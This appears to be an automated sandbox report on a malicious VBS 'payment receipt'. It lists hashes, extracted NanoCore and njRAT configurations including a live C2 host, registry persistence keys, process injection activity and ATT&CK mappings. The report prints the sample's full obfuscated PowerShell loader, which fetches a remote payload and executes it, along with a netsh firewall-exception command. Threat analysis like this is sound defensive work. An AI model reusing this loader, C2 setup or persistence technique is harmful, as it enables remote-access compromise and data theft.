nanocore | de10822bc600d320a74d91bbd368bafc1a53b33dc80221fe0a679ae751d5f7e5

General

Target

Y81N365C4_PAYMENT_RECEIPT.vbs
Size

2KB
MD5

662b66ad7298cbd883c65e11bf1161a2
SHA1

20f8690c74a808ab3608d262607ebae16c1c6276
SHA256

de10822bc600d320a74d91bbd368bafc1a53b33dc80221fe0a679ae751d5f7e5
SHA512

ce97094e7beb9142085cd73df104ea939e07705c7120328d21b6b4eec1604f5dce321a084a14d82b80727c60db68a09f38dfcc1a0ed93843b074ff86cb204cd3

Score

10^/10

nanocore neshta njrat hacked evasion keylogger persistence spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://transfer.sh/get/oyVYmO/HHHHHHHHHHHHHHHH.txt

Extracted

Family

nanocore

Version

1.2.2.0

C2

jannewyearomo.duckdns.org:8090

Mutex

362bbfaa-34cf-4e04-9ff9-2cdc1915fc38

Attributes

activate_away_mode
true
backup_connection_host
jannewyearomo.duckdns.org
backup_dns_server
8.8.4.4
buffer_size
65535
build_time
2021-10-16T16:37:09.129050636Z
bypass_user_account_control
true
bypass_user_account_control_data
clear_access_control
true
clear_zone_identifier
false
connect_delay
4000
connection_port
8090
default_group
jan new year
enable_debug_mode
true
gc_threshold
1.048576e+07
keep_alive_timeout
30000
keyboard_logging
false
lan_timeout
2500
max_packet_size
1.048576e+07
mutex
362bbfaa-34cf-4e04-9ff9-2cdc1915fc38
mutex_timeout
5000
prevent_system_sleep
false
primary_connection_host
jannewyearomo.duckdns.org
primary_dns_server
8.8.8.8
request_elevation
true
restart_delay
5000
run_delay
0
run_on_startup
true
set_critical_process
true
timeout_interval
5000
use_custom_dns_server
false
version
1.2.2.0
wan_timeout
8000

Extracted

Family

njrat

Version

1.9

Botnet

HacKed

Mutex

Microsoft.Exe

Attributes

reg_key
Microsoft.Exe

Signatures

Detect Neshta Payload 3 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3864-172-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/3864-173-0x00000000004080E4-mapping.dmp	family_neshta
behavioral2/memory/3864-175-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta

Modifies system executable filetype association 2 TTPs 1 IoCs

persistence

Modify Registry

T1112

Change Default File Association

T1042

Processes:

aspnet_compiler.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	aspnet_compiler.exe

NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore
Neshta
Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.
persistence spyware neshta
njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

11 4148 powershell.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

flow	pid	process
11	4148	powershell.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

aspnet_compiler.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft.Exe = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe\" .."	aspnet_compiler.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft.Exe = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe\" .."	aspnet_compiler.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

powershell.exe

description	pid	process	target process
PID 4148 set thread context of 3260	4148	powershell.exe	aspnet_compiler.exe
PID 4148 set thread context of 3796	4148	powershell.exe	aspnet_compiler.exe
PID 4148 set thread context of 3864	4148	powershell.exe	aspnet_compiler.exe

Drops file in Program Files directory 53 IoCs

Processes:

aspnet_compiler.exe

description	ioc	process
File opened for modification	C:\PROGRA~3\PACKAG~1\{CA675~1\VCREDI~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\INTERN~1\ieinstal.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WI54FB~1\wmplayer.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroCEF\RdrCEF.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\INTERN~1\ExtExport.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WINDOW~2\wab.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WI54FB~1\wmpshare.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\plug_ins\PI_BRO~1\64BITM~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jaureg.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Google\Update\DISABL~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.71\GOOGLE~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\plug_ins\PI_BRO~1\32BITM~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.71\GOOGLE~3.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADOBEC~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\VSTO\10.0\VSTOIN~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.71\GOBD5D~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\ACCESS~1\wordpad.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~3\Adobe\Setup\{AC76B~1\setup.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\FULLTR~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WI54FB~1\wmpconfig.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.71\GOOGLE~2.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\MOZILL~1\UNINST~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WINDOW~2\wabmig.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WI54FB~1\wmprph.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROBR~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroRd32.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WI54FB~1\setup_wm.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\arh.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.71\GOOGLE~4.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WINDOW~2\WinMail.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\INTERN~1\ielowutil.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WI8A19~1\ImagingDevices.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~3\MICROS~1\CLICKT~1\{9AC08~1\INTEGR~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\READER~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\ADOBEA~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\Browser\WCCHRO~1\WCCHRO~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.71\GO664E~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\MOZILL~1\MAINTE~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WI54FB~1\wmlaunch.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jucheck.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\MSInfo\msinfo32.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\INTERN~1\iexplore.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{F4220~1\VC_RED~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\Eula.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\AdobeARM.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\armsvc.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jusched.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\LOGTRA~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.71\GOF5E2~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROTE~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADelRCP.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{EF6B0~1\VCREDI~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\WOW_HE~1.EXE	aspnet_compiler.exe

Drops file in Windows directory 1 IoCs

Processes:

aspnet_compiler.exe

description ioc process

File opened for modification C:\Windows\svchost.com aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	ioc	process
File opened for modification	C:\Windows\svchost.com	aspnet_compiler.exe

Modifies registry class 1 IoCs

Processes:

aspnet_compiler.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	aspnet_compiler.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

Processes:

powershell.exeaspnet_compiler.exe

pid	process
4148	powershell.exe
4148	powershell.exe
4148	powershell.exe
4148	powershell.exe
4148	powershell.exe
3260	aspnet_compiler.exe
3260	aspnet_compiler.exe
3260	aspnet_compiler.exe
3260	aspnet_compiler.exe
3260	aspnet_compiler.exe
3260	aspnet_compiler.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

aspnet_compiler.exe

pid process

3260 aspnet_compiler.exe

pid	process
3260	aspnet_compiler.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

Processes:

powershell.exeaspnet_compiler.exeaspnet_compiler.exe

description	pid	process
Token: SeDebugPrivilege	4148	powershell.exe
Token: SeDebugPrivilege	3260	aspnet_compiler.exe
Token: SeDebugPrivilege	3796	aspnet_compiler.exe
Token: 33	3796	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3796	aspnet_compiler.exe
Token: 33	3796	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3796	aspnet_compiler.exe
Token: 33	3796	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3796	aspnet_compiler.exe
Token: 33	3796	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3796	aspnet_compiler.exe
Token: 33	3796	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3796	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 35 IoCs

Processes:

WScript.exepowershell.exeaspnet_compiler.exe

description	pid	process	target process
PID 3416 wrote to memory of 4148	3416	WScript.exe	powershell.exe
PID 3416 wrote to memory of 4148	3416	WScript.exe	powershell.exe
PID 4148 wrote to memory of 3240	4148	powershell.exe	aspnet_compiler.exe
PID 4148 wrote to memory of 3240	4148	powershell.exe	aspnet_compiler.exe
PID 4148 wrote to memory of 3240	4148	powershell.exe	aspnet_compiler.exe
PID 4148 wrote to memory of 3260	4148	powershell.exe	aspnet_compiler.exe
PID 4148 wrote to memory of 3260	4148	powershell.exe	aspnet_compiler.exe
PID 4148 wrote to memory of 3260	4148	powershell.exe	aspnet_compiler.exe
PID 4148 wrote to memory of 3260	4148	powershell.exe	aspnet_compiler.exe
PID 4148 wrote to memory of 3260	4148	powershell.exe	aspnet_compiler.exe
PID 4148 wrote to memory of 3260	4148	powershell.exe	aspnet_compiler.exe
PID 4148 wrote to memory of 3260	4148	powershell.exe	aspnet_compiler.exe
PID 4148 wrote to memory of 3260	4148	powershell.exe	aspnet_compiler.exe
PID 4148 wrote to memory of 3796	4148	powershell.exe	aspnet_compiler.exe
PID 4148 wrote to memory of 3796	4148	powershell.exe	aspnet_compiler.exe
PID 4148 wrote to memory of 3796	4148	powershell.exe	aspnet_compiler.exe
PID 4148 wrote to memory of 3796	4148	powershell.exe	aspnet_compiler.exe
PID 4148 wrote to memory of 3796	4148	powershell.exe	aspnet_compiler.exe
PID 4148 wrote to memory of 3796	4148	powershell.exe	aspnet_compiler.exe
PID 4148 wrote to memory of 3796	4148	powershell.exe	aspnet_compiler.exe
PID 4148 wrote to memory of 3796	4148	powershell.exe	aspnet_compiler.exe
PID 4148 wrote to memory of 3864	4148	powershell.exe	aspnet_compiler.exe
PID 4148 wrote to memory of 3864	4148	powershell.exe	aspnet_compiler.exe
PID 4148 wrote to memory of 3864	4148	powershell.exe	aspnet_compiler.exe
PID 4148 wrote to memory of 3864	4148	powershell.exe	aspnet_compiler.exe
PID 4148 wrote to memory of 3864	4148	powershell.exe	aspnet_compiler.exe
PID 4148 wrote to memory of 3864	4148	powershell.exe	aspnet_compiler.exe
PID 4148 wrote to memory of 3864	4148	powershell.exe	aspnet_compiler.exe
PID 4148 wrote to memory of 3864	4148	powershell.exe	aspnet_compiler.exe
PID 4148 wrote to memory of 3864	4148	powershell.exe	aspnet_compiler.exe
PID 4148 wrote to memory of 3864	4148	powershell.exe	aspnet_compiler.exe
PID 4148 wrote to memory of 3864	4148	powershell.exe	aspnet_compiler.exe
PID 3796 wrote to memory of 1576	3796	aspnet_compiler.exe	netsh.exe
PID 3796 wrote to memory of 1576	3796	aspnet_compiler.exe	netsh.exe
PID 3796 wrote to memory of 1576	3796	aspnet_compiler.exe	netsh.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Y81N365C4_PAYMENT_RECEIPT.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3416

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" &((gv '*MDR*').naMe[3,11,2]-joIN'') ( (('(0PG (Rd9&(Lz0PG+0PGS{0'+'PG+0PG0}Rd9+Rd0PG+0'+'PG9{1}LzRd0PG+0PG9+Rd0PG+0PG9S0PG+0PG-fRd9+Rd9X'+'EzIR0PG+0PGd0PG+0PG9'+'+R0PG+0PGd9EXEz,XEzR'+'d9'+'+Rd9XXEz)(.R0PG+0PGd0PG+0PG9+Rd9(0PG+0PGLRd9+Rd9z0PG+0PGS{10PG+0PG}{0}R0PG+0PGd9+R0PG+0PGd90PG+0PG{20PG+0PG}LzS -R0PG+0PGd90PG+0PG+Rd90PG+0PGfXERd0PG+0PG90PG+0PG+Rd0PG'+'+0PG9zORd9+Rd9bXEz,(LR0PG+0PGd0PG+0PG9+Rd90PG+0PGzS{1}0PG+0PGRd90PG+0PG+0PG+0PGR0PG+0PGd9{0Rd9+Rd9}LzS 0PG+0PG-f'+'Rd9+Rd9 0PG+0PGRd9+Rd90PG+0PGXEz0PG+0PGw-Rd9+0P'+'G+0PGRd9XEz,XE0PG+0PGz0PG+0PGRd0'+'PG+0PG9+R'+'d9N0PG+0PGeXEz)Rd9+Rd90PG+0PG,(0PG+0PGLz0PG+0PGS{0}{1R0PG+0PGd0PG+0PG9+Rd9}Rd9+Rd90PG+0PGLz0PG+0PGS-Rd9+Rd0PG+0PG9fXEz0PG+0PGjeXE0PG+0PGz0PG+0PG,XEzRd0PG+0PG9+Rd0PG+0PG9ctX0PG+0PGEz)) (LzS{2Rd90PG+0PG+R0PG+0PGd90PG'+'+0PG}{0}0PG+0PG{'+'0PG+0PG1Rd9+Rd9}LzSRd9+0PG+0PGRd0PG+0PG9-fRd9+Rd9 R'+'d90PG+0PG+Rd9(Lz0PG+0PGRd9+Rd0PG+0PG9S{1}{0}{0PG+0PG2Rd0PG+0PG90PG+0PG+R0PG+0PGd9}Rd9+Rd9LzS 0PG+0PG-f Rd9+Rd9XRd9+Rd9EzbCl0PG+0PGXEz,XEz.W0PG+0PGe0PG+0PGXR'+'d'+'9+Rd9ERd90PG+0PG+R0PG+0PGd90PG+0PGz,XEz0PG+0PGiX0PG+0PGEz)0PG+0PG,R0PG+0PGd9+Rd9XERd9+R0PG+0PGd9ze0PG+0PGntXEz,X0PG+0PGR0PG+0PGd9+R0PG+0PGd9EzNetXEz'+')).0PG+0PG(L0PG+0PGRd9+Rd9zRd90P'+'G+0PG+Rd90PG+0P'+'GS{Rd0PG+0PG90PG+0PG+Rd0PG+0PG90}{2Rd9+0PG'+'+0PGRd'+'9}0PG+0PG{3}{0PG+0PG1}{40PG+0PG}LRd90PG+0PG+Rd9zSRd9+Rd9 0PG+0PG-f XE0PG+0PGzDXERd9+Rd9z,Rd9+R0PG+0PGd9XEzdstXEz'+',XE0PG+0PGzow0PG+0PGnXERd'+'9+R0PG+0PGd9z,R0PG+0PGd9+0PG+0PGR0PG+0PGd90PG+0PGXEzloaXER0PG+0PGd90P'+'G'+'+0PG+Rd90PG+0PGz,(LRd0PG+0PG9+0P'+'G+0PGRd9z0PG+0PGRd9+Rd9S0PG+0PG{0}{1}LzRd9+Rd0PG+0PG9S -Rd9+0PG+0PGRd9fRd0PG'+'+0PG9+R'+'d9XEzrRd9'+'+R0PG+0PGd9iXEz,0PG+0PGX0'+'PG+0PGEzn0PG+0PGgXEz0PG+0PGRd9+Rd90'+'PG+0PG)).LRd9+Rd9'+'zSINRd9+Rd0PG+0PG9vOLGykERd9+Rd9'+'LzS(0PG+0'+'PGXEzhttps://transfer.sh/get/oyVYmO/HHHHHHHHHHHHHHHH.txtX0PG+0PGRd9+Rd9Ez)Rd0PG+0PG90PG+0PG).rEp'+'l0PG+0P'+'GacE(Rd9LGyRd9'+',0PG+0PGR0PG+0PGd9tYaRd0PG+0PG9).rEplacE(([cHaR]76+0PG+0PG[cHaR]122+[0PG+0PGcHaR0PG+0PG]0PG+0PG83),[STrinG]0PG+0PG[0PG+0PGc'+'HaR]34)0PG+0PG.rEplacE(([cHaR]80PG+0PG8+[cHaR]60PG+0PG9+[cHaR]120PG+0PG2),[0PG+0PGSTr'+'inG][cHa0PG+0PGR]30PG+0PG9)0c0PG'+'+0PGoIn0PG+0PGVo0PG+0PGkE-E0PG+0PGxpre'+'sSi0PG+0PGo0PG+0PGN0PG).rEplaCe(0PGRd90PG,[sTrIng][CHar]39).rEplaCe(0PG0co0PG,0PGvKO0PG).rEplaCe(([CHar'+']116+[CHar]89+[CHar]97),[sTrIng][CHar]96)vKO .( kSfEnV:COmspeC[4,24,25]-jOIN0'+'PG0PG)') -replace ([CHaR]118+[CHaR]75+[CHaR]79),[CHaR]124-crEpLace([CHaR]48+[CHaR]80+[CHaR]71),[CHaR]39 -replace 'kSf',[CHaR]36))
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4148

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
3⤵
PID:3240

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3260

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
3⤵
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3796

C:\Windows\SysWOW64\netsh.exe
netsh firewall add allowedprogram "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" "aspnet_compiler.exe" ENABLE
4⤵
PID:1576

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
3⤵
- Modifies system executable filetype association
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
PID:3864

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Change Default File Association

1

T1042

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1576-188-0x0000000000000000-mapping.dmp

Download
memory/3260-177-0x0000000006B20000-0x0000000006B3A000-memory.dmp

Filesize
104KB

Download
memory/3260-170-0x00000000062B0000-0x00000000062BA000-memory.dmp

Filesize
40KB

Download
memory/3260-164-0x00000000056C0000-0x000000000575C000-memory.dmp

Filesize
624KB

Download
memory/3260-163-0x0000000005620000-0x00000000056B2000-memory.dmp

Filesize
584KB

Download
memory/3260-160-0x0000000005B20000-0x000000000601E000-memory.dmp

Filesize
5.0MB

Download
memory/3260-167-0x0000000005620000-0x0000000005B1E000-memory.dmp

Filesize
5.0MB

Download
memory/3260-187-0x0000000006C30000-0x0000000006C44000-memory.dmp

Filesize
80KB

Download
memory/3260-186-0x0000000006BF0000-0x0000000006C1E000-memory.dmp

Filesize
184KB

Download
memory/3260-185-0x0000000006BD0000-0x0000000006BDE000-memory.dmp

Filesize
56KB

Download
memory/3260-184-0x0000000006BC0000-0x0000000006BD4000-memory.dmp

Filesize
80KB

Download
memory/3260-183-0x0000000006BB0000-0x0000000006BB8000-memory.dmp

Filesize
32KB

Download
memory/3260-182-0x0000000006BA0000-0x0000000006BB4000-memory.dmp

Filesize
80KB

Download
memory/3260-181-0x0000000006B90000-0x0000000006B9E000-memory.dmp

Filesize
56KB

Download
memory/3260-180-0x0000000006B80000-0x0000000006B8C000-memory.dmp

Filesize
48KB

Download
memory/3260-179-0x0000000006B70000-0x0000000006B82000-memory.dmp

Filesize
72KB

Download
memory/3260-178-0x0000000006B50000-0x0000000006B5E000-memory.dmp

Filesize
56KB

Download
memory/3260-176-0x0000000006B10000-0x0000000006B1C000-memory.dmp

Filesize
48KB

Download
memory/3260-166-0x00000000055D0000-0x00000000055DA000-memory.dmp

Filesize
40KB

Download
memory/3260-169-0x0000000006290000-0x00000000062AE000-memory.dmp

Filesize
120KB

Download
memory/3260-151-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/3260-152-0x000000000041E792-mapping.dmp

Download
memory/3260-168-0x00000000057E0000-0x00000000057EA000-memory.dmp

Filesize
40KB

Download
memory/3260-189-0x0000000006F80000-0x0000000006FE6000-memory.dmp

Filesize
408KB

Download
memory/3260-158-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/3260-157-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/3796-156-0x0000000000400000-0x0000000000410000-memory.dmp

Filesize
64KB

Download
memory/3796-159-0x0000000000400000-0x0000000000410000-memory.dmp

Filesize
64KB

Download
memory/3796-154-0x0000000000400000-0x0000000000410000-memory.dmp

Filesize
64KB

Download
memory/3796-155-0x000000000040BBCE-mapping.dmp

Download
memory/3796-161-0x0000000004830000-0x00000000048CC000-memory.dmp

Filesize
624KB

Download
memory/3796-190-0x0000000004970000-0x0000000004E6E000-memory.dmp

Filesize
5.0MB

Download
memory/3796-162-0x0000000004E70000-0x000000000536E000-memory.dmp

Filesize
5.0MB

Download
memory/3796-191-0x0000000004E50000-0x0000000004E5A000-memory.dmp

Filesize
40KB

Download
memory/3796-165-0x0000000004D60000-0x0000000004DF2000-memory.dmp

Filesize
584KB

Download
memory/3864-175-0x0000000000400000-0x000000000041B000-memory.dmp

Filesize
108KB

Download
memory/3864-172-0x0000000000400000-0x000000000041B000-memory.dmp

Filesize
108KB

Download
memory/3864-173-0x00000000004080E4-mapping.dmp

Download
memory/4148-135-0x0000017B20460000-0x0000017B20462000-memory.dmp

Filesize
8KB

Download
memory/4148-118-0x0000017B20460000-0x0000017B20462000-memory.dmp

Filesize
8KB

Download
memory/4148-121-0x0000017B20460000-0x0000017B20462000-memory.dmp

Filesize
8KB

Download
memory/4148-148-0x0000017B3C4A0000-0x0000017B3C4B2000-memory.dmp

Filesize
72KB

Download
memory/4148-153-0x0000017B3C4B0000-0x0000017B3C4C2000-memory.dmp

Filesize
72KB

Download
memory/4148-174-0x0000017B20460000-0x0000017B20462000-memory.dmp

Filesize
8KB

Download
memory/4148-117-0x0000017B20460000-0x0000017B20462000-memory.dmp

Filesize
8KB

Download
memory/4148-137-0x0000017B3A396000-0x0000017B3A398000-memory.dmp

Filesize
8KB

Download
memory/4148-115-0x0000000000000000-mapping.dmp

Download
memory/4148-128-0x0000017B3C4F0000-0x0000017B3C566000-memory.dmp

Filesize
472KB

Download
memory/4148-171-0x0000017B3C4C0000-0x0000017B3C4D2000-memory.dmp

Filesize
72KB

Download
memory/4148-138-0x0000017B20460000-0x0000017B20462000-memory.dmp

Filesize
8KB

Download
memory/4148-136-0x0000017B20460000-0x0000017B20462000-memory.dmp

Filesize
8KB

Download
memory/4148-127-0x0000017B20460000-0x0000017B20462000-memory.dmp

Filesize
8KB

Download
memory/4148-126-0x0000017B20460000-0x0000017B20462000-memory.dmp

Filesize
8KB

Download
memory/4148-125-0x0000017B20460000-0x0000017B20462000-memory.dmp

Filesize
8KB

Download
memory/4148-124-0x0000017B20460000-0x0000017B20462000-memory.dmp

Filesize
8KB

Download
memory/4148-123-0x0000017B3A340000-0x0000017B3A362000-memory.dmp

Filesize
136KB

Download
memory/4148-120-0x0000017B3A390000-0x0000017B3A392000-memory.dmp

Filesize
8KB

Download
memory/4148-116-0x0000017B20460000-0x0000017B20462000-memory.dmp

Filesize
8KB

Download
memory/4148-122-0x0000017B3A393000-0x0000017B3A395000-memory.dmp

Filesize
8KB

Download
memory/4148-119-0x0000017B20460000-0x0000017B20462000-memory.dmp

Filesize
8KB

Download
memory/4148-129-0x0000017B20460000-0x0000017B20462000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads